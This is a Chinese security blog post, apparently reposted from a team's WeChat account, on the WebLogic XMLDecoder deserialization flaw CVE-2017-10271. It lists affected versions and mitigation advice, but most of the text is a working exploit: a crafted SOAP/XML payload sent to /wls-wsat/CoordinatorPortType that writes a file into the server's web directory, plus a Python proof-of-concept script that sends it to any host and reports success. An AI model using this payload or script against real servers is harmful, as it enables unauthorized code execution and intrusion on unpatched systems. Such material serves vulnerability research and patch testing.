前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞复现&修复方案

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)漏洞复现&修复方案

作者头像
ChaMd5安全团队
发布2018-03-29 14:37:37
1.5K0
发布2018-03-29 14:37:37
举报
文章被收录于专栏:ChaMd5安全团队

0x00 漏洞简介

  • 此次漏洞是针对Oracle WebLogic Server组件的WLS Security子组件
  • 使用精心构造的xml数据可能造成任意代码执行
  • 影响版本: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0

0x01 复现过程

/wls-wsat/CoordinatorPortTypPOST提交如下XML并将 Content-Type修改为 test/xml

代码语言:javascript
复制
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt</string><void method="println"><string>weblogic_CVE-2017-10271</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

提交过后会在 /bea_wls_internal/下生成test.txt。

0x02 修复方案

  • 对wls组件进行访问控制
  • 升级Oracle 10月份补丁

0x03 POC

代码语言:javascript
复制
#coding=utf-8

import requests

import sys


#author 香香@chamd5

#声明:仅用于学习交流与授权测试,请勿用于非法用途,其后果与本人及团队无关


def exp(url,file):

    headers = {'Content-type': 'text/xml'}

    xml = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/%s</string><void method="println"><string>CVE-2017-10271_test</string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope> '''%(file)

    res = requests.post('http://%s/wls-wsat/CoordinatorPortType'%(url), headers=headers, data=xml)

    if res.status_code != 404:

        res = requests.head('http://%s/bea_wls_internal/%s'%(url,file)).status_code

        if res != 404:

            print 'ok! file_path: http://%s/bea_wls_internal/%s'%(str(url),str(file))

    else:

        print 'no!'



if __name__ == '__main__':

    if len(sys.argv)<3:

        print '''

please use python weblogic.py host:port filepath

        '''

        sys.exit(0)

    url = sys.argv[1]

    file = sys.argv[2]

    exp(url,file)

参考链接:

https://github.com/kylingit/blog-hugo/blob/master/content/blog/Weblogic-0day.md

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2017-12-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 漏洞简介
  • 0x01 复现过程
  • 0x02 修复方案
  • 0x03 POC
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档